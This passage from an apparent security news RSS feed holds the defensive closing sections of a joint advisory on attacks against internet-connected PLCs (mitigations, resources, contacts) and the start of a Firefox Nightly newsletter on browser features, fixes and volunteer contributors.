<li>Use the device control list to monitor for logon activity for unexpected or unusual access to devices from the internet.</li>
</ul>
</li>
<li><strong>Keep PLC devices updated with the latest software patches issued by the manufacturer.</strong> Use established downtime windows to install patches. <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog" title="Known Exploited Vulnerabilities">Known Exploited Vulnerabilities</a> may need to be prioritized outside a downtime window.</li>
<li><strong>Configure external and internal firewalls to block traffic using common ports </strong>associated with network protocols that are unnecessary for the particular network segment.</li>
<li><strong>Disable any unused authentication methods, logic, or features, </strong>such as default authentication keys and passwords, as well as unused or needed services such as Teletype Network (Telnet), File Transfer Protocol (FTP), Remote Desktop Protocol (RDP), Virtual Network Computing (VNC), and web services.</li>
<li><strong>Monitor asset management systems for device configuration changes</strong>, which can be used to understand expected parameter settings.</li>
<li><strong>Monitor the content of network traffic</strong> for the following:<br>
<ul type="circle">
<li>Unusual logins to internet-connected devices or unexpected protocols to/from the internet. </li>
<li>Functions of industrial control systems management protocols that change an asset’s operating mode or modify programs.</li>
</ul>
</li>
<li><em><strong>(New, July 22, 2026)</strong> </em><strong>Ensure service providers are informed of active threats targeting internet-connected PLC devices. </strong>Owners and operators should communicate directly with service providers to address risks, especially when remote monitoring or maintenance is involved. Some service providers may rely on internet connectivity essential to monitor and maintain OT/ICS operations but may not be fully aware of active threats.</li>
</ul>
<p>In addition, the authoring agencies recommend network defenders apply the following mitigations to limit potential adversarial use of common system and network discovery techniques, as well as reduce the impact and risk of compromise by cyber threat actors:</p>
<ul type="square">
<li><strong>Reduce risk exposure</strong>. CISA offers a range of services at no cost, including scanning and testing, to help organizations reduce exposure to threats via mitigating attack vectors. CISA’s <a href="https://www.cisa.gov/cyber-hygiene-services" title="Cyber Hygiene Services">Cyber Hygiene Services</a> can help provide additional review of organizations’ internet-accessible assets. </li>
</ul>
<h3><strong>Device Manufacturers</strong></h3>
<p><strong>Note:</strong> The following guidance is general in nature and not specific to any OT vendor. Some of the features, settings, and practices may already be offered by certain vendors. The inclusion of this guidance should not be interpreted as an assertion that vendors referenced do not offer such security features. Also, this advisory is not highlighting a new vulnerability in the identified products, but instead discusses opportunistic targeting. Device manufacturers can make opportunistic attacks more difficult at scale by encouraging more secure behavior by default and in operations, as discussed below. </p>
<p>Although critical infrastructure organizations using PLC devices can take steps to mitigate the risks, it is ultimately the responsibility of the device manufacturer to build products secured by design and default. The authoring agencies urge device manufacturers to take ownership of their customers’ security outcomes by following the principles in the joint guide <a href="https://www.cisa.gov/resources-tools/resources/secure-demand-priority-considerations-operational-technology-owners-and-operators-when-selecting" title="Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products">Secure by Demand: Priority Considerations for OT Owners and Operators when Selecting Digital Products</a>, primarily:</p>
<ul>
<li>Change the manufacturers’ default settings to prevent exposing administrative interfaces to the internet.</li>
<li>Do not charge additional fees for basic security features needed to operate the product securely.</li>
<li>Support MFA, including via phishing-resistant methods.</li>
</ul>
<p>By using secure by design tactics, software manufacturers can make product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing tiered security software and logs, monitoring, and making routine updates.</p>
<p>For more information on common misconfigurations and guidance on reducing their prevalence, see joint advisory <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-278a" title="NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations">NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations</a>. For more information on secure by design, see CISA’s <a href="https://www.cisa.gov/securebydesign" title="Secure by Design">Secure by Design</a> webpage and joint guide.</p>
<h2><strong>Validate Security Controls</strong></h2>
<p>In addition to applying mitigations, the authoring agencies recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&amp;CK for Enterprise framework in this advisory. The authoring agencies recommend testing your existing security controls inventory to assess how they perform against the ATT&amp;CK techniques described in this advisory.</p>
<p>To get started:</p>
<ol>
<li>Select an ATT&amp;CK technique described in this advisory (see<strong> </strong><a href="https://www.cisa.gov/#Table3"><strong>Table 3</strong></a> to <a href="https://www.cisa.gov/#Table6"><strong>Table 6</strong></a>).</li>
<li>Align your security technologies against the technique.</li>
<li>Test your technologies against the technique.</li>
<li>Analyze your detection and prevention technologies’ performance.</li>
<li>Repeat the process for all security technologies to obtain a set of comprehensive performance data.</li>
<li>Tune your security program, including people, processes, and technologies, based on the data generated by this process.</li>
</ol>
<p>The authoring agencies recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the ATT&amp;CK techniques identified in this advisory.</p>
<h2><strong>Resources</strong></h2>
<ul type="square">
<li>Authoring Agencies: <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-335a" title="IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities">IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities</a></li>
<li>CISA: <a href="https://www.cisa.gov/resources-tools/resources/bulletproof-defense-mitigating-risks-bulletproof-hosting-providers" title="Bulletproof Defense: Mitigating Risks From Bulletproof Hosting Providers">Bulletproof Defense: Mitigating Risks From Bulletproof Hosting Providers</a></li>
<li>EPA: <a href="https://www.epa.gov/cyberwater/epa-cybersecurity-water-sector" target="_blank" title="Cybersecurity for the Water Sector">Cybersecurity for the Water Sector</a></li>
<li>CISA: <a href="https://www.cisa.gov/water" title="Water and Wastewater Cybersecurity">Water and Wastewater Cybersecurity</a></li>
<li>CISA: <a href="https://www.cisa.gov/news-events/alerts/2023/11/28/exploitation-unitronics-plcs-used-water-and-wastewater-systems" title="Exploitation of Unitronics PLCs used in Water and Wastewater Systems">Exploitation of Unitronics PLCs used in Water and Wastewater Systems</a></li>
<li>CISA: <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/iran" title="Iran Cyber Threat Overview and Advisories">Iran Threat Overview and Advisories</a></li>
<li>FBI: <a href="https://www.fbi.gov/investigate/counterintelligence/the-iran-threat" target="_blank" title="The Iran Threat">The Iran Threat</a> and <a href="https://www.fbi.gov/investigate/cyber/cyber-threat-overview-iran" target="_blank" title="Cyber Threat Overview: Iran">Cyber Threat Overview: Iran</a></li>
<li>CISA, MITRE: <a href="https://www.cisa.gov/news-events/news/best-practices-mitre-attckr-mapping" title="Best Practices for MITRE ATT&amp;CK Mapping">Best Practices for MITRE ATT&amp;CK Mapping</a></li>
<li>CISA: <a href="https://github.com/cisagov/Decider/" title="Decider Tool">Decider Tool</a></li>
<li>CISA: <a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0" title="Cross-Sector Cybersecurity Performance Goals 2.0">Cross-Sector Cybersecurity Performance Goals 2.0</a></li>
<li>CISA: <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/cyber-hygiene-services" title="No-Cost Cybersecurity Services and Tools">No-Cost Cybersecurity Services and Tools</a></li>
<li>CISA: <a href="https://www.cisa.gov/resources-tools/resources/secure-demand-priority-considerations-operational-technology-owners-and-operators-when-selecting" title="Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products">Secure by Demand: Priority Considerations for OT Owners and Operators when Selecting Digital Products</a></li>
<li>NSA, CISA: <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-278a" title="NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations">NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations</a></li>
<li>CISA: <a href="https://www.cisa.gov/securebydesign" title="Secure by Design">Secure by Design</a></li>
<li>FBI, CISA: <a href="https://www.ic3.gov/CSA/2025/250506.pdf" target="_blank" title="Primary Mitigations to Reduce Cyber Threats to Operational Technology">Primary Mitigations to Reduce Cyber Threats to Operational Technology</a></li>
<li>United Kingdom National Cyber Security Centre: <a href="https://www.ic3.gov/CSA/2026/260114.pdf" target="_blank" title="Secure Connectivity Principles for Operational Technology (OT)">Secure connectivity principles for operational technology</a></li>
</ul>
<h2><a class="ck-anchor"><strong>Contact Information</strong></a></h2>
<p>U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA, the FBI, and/or NSA:</p>
<ul type="square">
<li>Contact CISA via CISA’s 24/7 Operations Center at <a href="mailto:contact@cisa.dhs.gov">contact@cisa.dhs.gov</a> or 1-844-Say-CISA (1-844-729-2472). File a claim with FBI’s <a href="https://ic3.gov/" target="_blank" title="Internet Crime Complaint Center (IC3)">Internet Crime Complaint Center (IC3)</a> or contact your local <a href="https://www.fbi.gov/contact-us/field-offices" target="_blank" title="FBI field office">FBI field office</a>. When available, please include the following information regarding the incident: 
<ul>
<li>Date, time, and location of the incident;</li>
<li>Type of activity;</li>
<li>Number of people affected;</li>
<li>Type of equipment used for the activity; and</li>
<li>Name of the submitting company or organization, and a designated point of contact.</li>
</ul>
</li>
<li>For NSA cybersecurity guidance inquiries, contact <a href="mailto:CybersecurityReports@nsa.gov" title="CybersecurityReports@nsa.gov">CybersecurityReports@nsa.gov</a>.</li>
<li>Entities required to report incidents to DOE should follow established reporting requirements, as appropriate. For other energy sector inquiries, contact <a href="mailto:EnergySRMA@hq.doe.gov" title="EnergySRMA@hq.doe.gov">EnergySRMA@hq.doe.gov</a>.</li>
<li>Contact the Rockwell Automation PSIRT for questions regarding their guidance or for reporting cyber incidents related to Rockwell Automation products at <a href="mailto:PSIRT@rockwellautomation.com" title="PSIRT@rockwellautomation.com">PSIRT@rockwellautomation.com</a>.</li>
<li>Contact the Schneider Electric CPCERT at <a href="mailto:cpcert@se.com">cpcert@se.com</a> for questions regarding this guidance, or to report cyber incidents related to Schneider Electric products.</li>
<li>Contact Siemens ProductCERT for up-to-date information about the security of Siemens products or to report cybersecurity vulnerabilities at <a href="mailto:productcert@siemens.com">productcert@siemens.com</a>. For support with increasing the security of installed Siemens PLCs, contact Siemens Industrial Cybersecurity Services at <a href="mailto:services.automation@siemens.com">services.automation@siemens.com</a>. See <a href="https://www.siemens.com/en-us/content/cert-services/" target="_blank" title="Siemens ProductCERT and Siemens CERT">Siemens ProductCERT and Siemens CERT</a> for more information.</li>
</ul>
<h2><strong>Disclaimer</strong></h2>
<p>The information in this report is being provided “as is” for informational purposes only. CISA and the authoring agencies do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA and the authoring agencies.</p>
<h2><strong>Version History</strong></h2>
<p><strong>April 7, 2026</strong>: Initial version.</p>
<p><strong>July 22, 2026</strong>: Update includes new guidance on detecting malicious activity, expanded scope of observed targeting, and best practices for secure PLCs deployment.</p>
<h2><strong>Notes</strong></h2>
<p><a class="ck-anchor"></a><sup>1</sup>Project file refers to the software file that contains ladder logic and configuration settings. On Rockwell Automation devices, it is referred to as an .ACD file.</p>
<p><a class="ck-anchor"></a><sup>2 </sup>See <a href="https://literature.rockwellautomation.com/idc/groups/literature/documents/um/1769-um021_-en-p.pdf" target="_blank" title="CompactLogix 5370 Controllers">CompactLogix 5370 Controllers</a> (Chapter 5: “Select the Operating Mode of the Controller”) for more information on functions available for the switch.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Firefox Nightly: Backup for a Rainy Day – These Weeks in Firefox: Issue 202]]></title>
<description><![CDATA[Highlights

The profile backup mechanism has been enabled by default for all desktop platforms in Nightly, as well as Beta! The current plan is to have this ride out to Firefox 151 for Windows, macOS and Linux on May 18th!

This feature, when enabled, will create a copy of your profile data in th...]]></description>
<link>https://tsecurity.de/de/3693295/tools/firefox-nightly-backup-for-a-rainy-day-these-weeks-in-firefox-issue-202/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693295/tools/firefox-nightly-backup-for-a-rainy-day-these-weeks-in-firefox-issue-202/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:35 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Highlights</h3>
<ul>
<li>The profile backup mechanism has been enabled by default for all desktop platforms in Nightly, as well as Beta! The current plan is to have this ride out to Firefox 151 for Windows, macOS and Linux on May 18th!
<ul>
<li>This feature, when enabled, will create a copy of your profile data in the background and store it in a single file on your file system that you can restore from.</li>
<li>You will be able to manage this feature in Settings under Sync (for now)
<ul>
<li><a href="https://blog.nightly.mozilla.org/files/2026/06/image6.png"><img alt="Firefox settings page showing the Backup feature in dark mode. Backup is enabled, with details of the most recent backup and a “Backup now” button. The page displays the backup file name and a backup location folder path, along with “Choose…” and “Show in folder” buttons. A “Sensitive data” section includes an option to back up passwords and payment methods with encryption, and a disabled “Change password” button." class="aligncenter size-full wp-image-2074" height="517" src="https://blog.nightly.mozilla.org/files/2026/06/image6.png" width="657"></a></li>
</ul>
</li>
<li><a href="https://support.mozilla.org/kb/firefox-backup">You can read more about the feature here</a></li>
</ul>
</li>
<li>As followups to the recent addition to the WebExtension tabs API to <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Working_with_the_Tabs_API#working_with_tab_split_views">support the new SplitView tabs feature</a>, tabs.group() and tabs.ungroup() have been fixed to work correctly with split view tabs, and fixed split views being prepended instead of appended to tab groups when adopted into a new window –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029099"> Bug 2029099</a> /<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029534"> Bug 2029534</a></li>
<li>Adaptive autofill has been enabled on Nightly.
<ul>
<li>Previously, autofill only completed domains (e.g. typing red autofilled<a href="http://reddit.com/"> reddit.com</a>). Now it can also complete full URLs for pages you visit often (e.g. red →<a href="http://reddit.com/r/firefox"> reddit.com/r/firefox</a>), learning from what you actually click in the address bar. If a suggestion isn’t helpful, you can now dismiss it so autofill learns what not to show you too.
<ul>
<li>If you run into issues or have feedback, <a href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Firefox&amp;component=Address+Bar">you can file a bug here</a>!</li>
</ul>
</li>
</ul>
</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=293943">Markus Stange [:mstange]</a> implemented dynamic toolbar on top in RDM (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1978145">#1978145</a>), but also implemented some static skeleton UI so it’s closer to what we actually have in Firefox for Android
<ul>
<li>dynamic toolbar is behind a pref: devtools.responsive.dynamicToolbar.enabled</li>
<li>it can be put on top by setting devtools.responsive.dynamicToolbar.onTop, otherwise it’s at the bottom</li>
<li><a href="https://blog.nightly.mozilla.org/files/2026/06/image1.png"><img alt="Firefox Responsive Design Mode on Desktop displaying the Mozilla homepage in a mobile viewport. The toolbar at the top shows a simulated Android device (including the dynamic toolbar) with a viewport size of 376 × 464 pixels and a device pixel ratio of 3. The page content is shown in French, featuring the Mozilla logo, a “Menu” link, a “Pause animation” button, and the headline “Bienvenue chez Mozilla” with accompanying text about trusted technology and digital rights." class="aligncenter size-full wp-image-2069" height="1113" src="https://blog.nightly.mozilla.org/files/2026/06/image1.png" width="882"></a></li>
</ul>
</li>
</ul>
<h3>Friends of the Firefox team</h3>
<h3><a href="https://bugzilla.mozilla.org/buglist.cgi?title=Resolved%20bugs%20(excluding%20employees)&amp;quicksearch=958957%2C1876109%2C1997388%2C2000797%2C1950995%2C1986020%2C2018272%2C2018276%2C2021681%2C2027969%2C2022115%2C1999012%2C2016058%2C2026585%2C2023913%2C2028167%2C2028293%2C2028927%2C1998002%2C2011343%2C1997925%2C2026574%2C2029398%2C2029684%2C1948019%2C2008756%2C2022601%2C2026032%2C2030428%2C1968244%2C1975391%2C944228%2C1962904%2C1977741%2C1997346%2C2027867%2C2030631%2C1807516%2C2030998%2C2030999%2C2015491%2C2028153%2C2028628%2C1978290%2C2008128%2C2024033%2C1883497%2C1984679%2C2030069%2C2031162%2C2031598%2C2012399%2C2031116%2C2031128%2C2031931%2C2031961%2C2033173%2C2032997%2C1919387%2C1947679%2C2027915%2C2032196%2C2019561%2C2024187%2C1392125%2C1993844%2C2027060%2C1983408%2C2034178%2C1873954%2C1875083%2C2008119%2C2008197%2C1628669%2C2031599%2C2033820">Resolved bugs (excluding employees)</a></h3>
<p><a href="https://github.com/niklasbaumgardner/NewContributorScraper">Script to find new contributors from bug list</a></p>
<h4>Volunteers that fixed more than one bug</h4>
<ul>
<li>Amin Amir</li>
<li>aoia7rz7l</li>
<li>Chukwuka Rosemary</li>
<li>DrSeed</li>
<li>Frédéric Wang Nélar</li>
<li>japandi</li>
<li>John Iweh</li>
<li>jonathancabera</li>
<li>Josh Aas</li>
<li>Keji Bakare</li>
<li>kofoworola shonuyi</li>
<li>konyhéa</li>
<li>liz</li>
<li>Mathew Hodson</li>
<li>Okhuomon Ajayi</li>
<li>Oluwatobi</li>
<li>ROSHAAN</li>
<li>Sam Johnson</li>
</ul>
<h4>New contributors (🌟 = first patch)</h4>
<ul>
<li> Anthony Mclamb:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027915"> Disable the legacy Edge migrator</a></li>
<li> Amin Amir
<ul>
<li>🌟<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031599">Fix browsingContext.sys.mjs to assign to #contextCreatedHandled instead of contextCreatedHandled</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033820">Fix missing WITHOUT ROWID SQLite performance optimization in SERPCategorization.sys.mjs</a></li>
<li>🌟 Amine Zroual:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1392125"> Omitted maxResults property not handled correctly in getRecentlyClosed</a></li>
</ul>
</li>
<li>any1here:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031162"> install_sig_alt_stack incorrectly checks mmap’s return value</a></li>
<li>🌟 Armin Ulrich:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031598"> Fix MessageHandlerRegistry.sys.mjs calling getExistingMessageHandler with an unused second argument</a></li>
<li>japandi
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1628669">Cannot remove amazon.com from top sites list</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1977741">The height of the pinned tabs area should be responsive to the number of pins</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1986020">Use cenum for nsIHelperAppLauncherDialog reason constants to enable better typescript annotations</a></li>
</ul>
</li>
<li>Nathan Johnson [:narjoDev]:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1950995"> Remove browser.display.use_system_colors pref</a></li>
<li>DrSeed
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1962904">Firefox shows vertical tabs in new windows despite “Hide tabs and sidebar” setting</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1968244">The “Expand sidebar on hover” option is not kept after the vertical tabs are disabled and enabled again</a></li>
</ul>
</li>
<li>Keji Bakare:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2008756">Split view’s focus-outline is clipped on the right side of left tab</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031116">White space on the right side of left panel in split view</a></li>
</ul>
</li>
<li>🌟 gotyaoi:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1807516"> Reload toolbar button is active on about:newtab</a></li>
<li>Itoro James:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2015491"> [A11y][Keyboard Navigation]Cancelling a note via Keyboard Navigation still saves it</a></li>
<li>John Iweh:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1997925"> The notification dot is not displayed if the tab is in a Split View</a></li>
<li>🌟 John Iweh:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027867"> sidebar-shown attribute remains when sidebar.revamp is false</a></li>
<li>🌟 jonathancabera:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2012399">The Move tab to Split View option is also displayed for the tabs that are within the Split View</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2016058">A Note with long text (1003 characters) is saved by pressing ENTER even if the “Save” button is disabled</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026032">Tab group guide line becomes disconnected under certain conditions related to split views in vertical tab mode</a></li>
</ul>
</li>
<li>Aloys:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2000797"> Remove logic that forces distribution language packs to be reinstalled when upgrading from Firefoxes older than 67</a></li>
<li>liz:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1875083">Create test to ensure maxRenderCountEstimate is never being set to Infinity in virtual-list component in Fx View</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2008119">Button accessible name does not convey its function: missing topic context (Settings dialog &gt; Topics dialog &gt; buttons Following/Unfollow/Blocked/Unblock)</a></li>
</ul>
</li>
<li>Mary cathline:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2022115"> Tab Group Label does not respect touch density in vertical tab bar</a></li>
<li>🌟 Brandon Lucier:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030631"> Popups opened with window.open give window type normal instead of popup</a></li>
<li>karan68:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1997388"> [dialog] New Shortcut dialog needs a label/accessible name</a></li>
<li>🌟 Vector:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2008128"> Button does not programmatically indicate that it opens a dialog (Recent activity section &gt; story card &gt; ••• disclosure &gt; Delete from History button)</a></li>
<li>🌟 Osoble:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1876109"> Update font size and weight for synced tabs device name headers in Firefox View</a></li>
<li>konyhéa:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1873954">Add test for sync admin disabled to browser_syncedtabs_errors_firefoxview.js</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1883497">Check all second paramaters for TestUtils.waitForCondition in Fx View test files</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030069">Recently Closed Tabs, Tabs from Other Devices, and History pages should have Cmd / Ctrl + Click on a link open the link in the new background tab.</a></li>
</ul>
</li>
<li>Noble Chinonso: <a href="http://sidebartreeview.js/">#shouldHandleEvent in SidebarTreeView.js compares event.keyCode to string values, causing Home/End keys to never be handled</a></li>
<li>Pranjali Srivastava:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=944228"> Add a test to verify that the space above tabs is consistent across PB, LWT and sizemode (where appropriate)</a></li>
<li>Okhuomon Ajayi:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2018272">More spacing is needed between the tab note icon and the close icon on the tab</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2019561">The tabs in vertical mode collapsed state are positioned differently in Split View</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027060">Keep vertical split view tabs stacked vertically even when the sidebar is expanded when expand on hover is enabled</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029684">Vertical split view tabs can be too big or small when tabs are overflowing</a></li>
</ul>
</li>
<li>🌟 Rishan:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030428"> Fix duplicated arrow function in browser_history_sidebar.js</a></li>
<li>Chukwuka Rosemary:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1948019">“Forget About This Site” context menu option missing from Firefox View history</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026574">Long strings are not displayed properly on the about:opentabs page search filed</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028153">Add test for Forget This Site option in Fxview history context menu.</a></li>
</ul>
</li>
<li>ROSHAAN:
<ul>
<li>🌟<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2018276">Tab note background colour is incorrect for default light theme</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1997346"> [win/linux] The splitter between content areas does not match Figma spec</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028927">Fix typo in OpenInTabsUtils.confirmOpenInTabs()</a></li>
</ul>
</li>
<li>Sameeksha:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2008197"> Disclosure button expanded/collapsed state not programmatically defined (Customize button)</a></li>
<li>kofoworola shonuyi:
<ul>
<li>🌟<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1999012">Actually hide or remove sidebar-shown attribute when in fullscreen.</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028293">Add a test for checking sidebar-shown attribute in fullscreen mode</a></li>
</ul>
</li>
<li>🌟 Sayd Mateen:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2021681"> Page URL is displayed as tab name when page’s contains about:reader?&lt;/a&gt;&lt;/p&gt; &lt;p&gt;</a></li>
</ul>
<ul>
<li>Oluwatobi:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1975391">Unable to delete selected history entries from sidebar</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1993844">Incorrect Sidebar button state/tooltip hover text</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2023913">The city name heading level doesn’t follow the correct heading level order</a></li>
</ul>
</li>
<li>Nishchay [:nish]:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031961"> Unable to add tabs to old closed tab groups (tabGroupState.splitViews is undefined)</a></li>
</ul>
<p> </p>
<h3>Project Updates</h3>
<h4>Add-ons / Web Extensions</h4>
<h5>Addon Manager &amp; about:addons</h5>
<ul>
<li>In preparation for the Project Nova restyling of the about:addons page, we have refactored about:addons into separate per-component ES modules, splitting the monolithic aboutaddons.js and aboutaddons.html into 16 dedicated component files under components/ (with no behavior or UI changes) –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032014"> Bug 2032014</a>
<ul>
<li>NOTE: if you have working on patches with changes to about:addons internals it is very likely you’ll need to rebase and solve merge conflicts hit on top of this refactoring, the internals are still largely the same as before but don’t hesitate to reach out to the Addons team if you have doubts / questions or need help to figure out how to adapt your patch of top of these changes</li>
</ul>
</li>
</ul>
<h5>WebExtensions Framework</h5>
<ul>
<li>Fixed exportFunction to preserve the constructibility of the wrapped function instead of unconditionally making all exported functions implicitly as constructors –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033173"> Bug 2033173</a>
<ul>
<li>Thanks to Gregory Pappas for contributing this improvement to the Content Scripts’ Xray Wrappers helpers!</li>
</ul>
</li>
<li>Fixed a Firefox 151 regression where extension content scripts accessing location.ancestorOrigins caused subsequent page script reads of the same property to fail with “Permission denied”, breaking sites like Gmail –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034329"> Bug 2034329</a>
<ul>
<li>Thanks to Simon Farre for promptly investigating and fixing this recent regression!</li>
</ul>
</li>
</ul>
<h5>WebExtension APIs</h5>
<ul>
<li>Updated sessions.getRecentlyClosed() to remove the hardcoded cap when maxResults is omitted –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1392125"> Bug 1392125</a>
<ul>
<li>Shoutout to Amine Zroual for contributing this enhancement to the sessions WebExtensions API!</li>
</ul>
</li>
</ul>
<h4>DevTools</h4>
<ul>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=750915">Artem Manushenkov</a> fixed an issue where autosuggestion popup was removing overridden indicators from properties in the Inspector (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1983408">#1983408</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=446257">Andrea Marchesini [:baku]</a> fix DevTools cookie header serialization for long cookies, which could lead to cookies not being visible in Netmonitor (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031299">#2031299</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=559949">Julian Descottes [:jdescottes]</a> fixed a toolbox crash that was happening we couldn’t find a localization file (e.g. when using a language pack on Nightly) (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028930">#2028930</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=557153">Nicolas Chevobbe [:nchevobbe]</a> improved @container tooltip so it show the value of variables used in style()(<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030239">#2030239</a>), has enough contrast in dark mode (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033782">#2033782</a>) and contains a link to select the container (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031688">#2031688</a>)
<ul>
<li><a href="https://blog.nightly.mozilla.org/files/2026/06/image3.png"><img alt='Firefox Developer Tools showing a CSS @container style() rule in the Rules panel. A popover for a element displays container properties including "container-name: hello section-container", "container-type: inline-size", and the custom property "--w: 100px", while indicating that --secondary and --plouf are not set. Below, the container query uses nested var() fallbacks, and a CSS declaration previews the resolved value for background-color.' class="aligncenter size-full wp-image-2071" height="532" src="https://blog.nightly.mozilla.org/files/2026/06/image3.png" width="1038"></a></li>
</ul>
</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=656417">Hubert Boma Manilla (:bomsy)</a> is making good progress on migrating the Console to CodeMirror 6 (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032758">#2032758</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026569">#2026569</a>)</li>
</ul>
<h4>Fluent</h4>
<ul>
<li>We’re now at over 72% of our strings being Fluent! Got a component still using .properties? Convert when you can!</li>
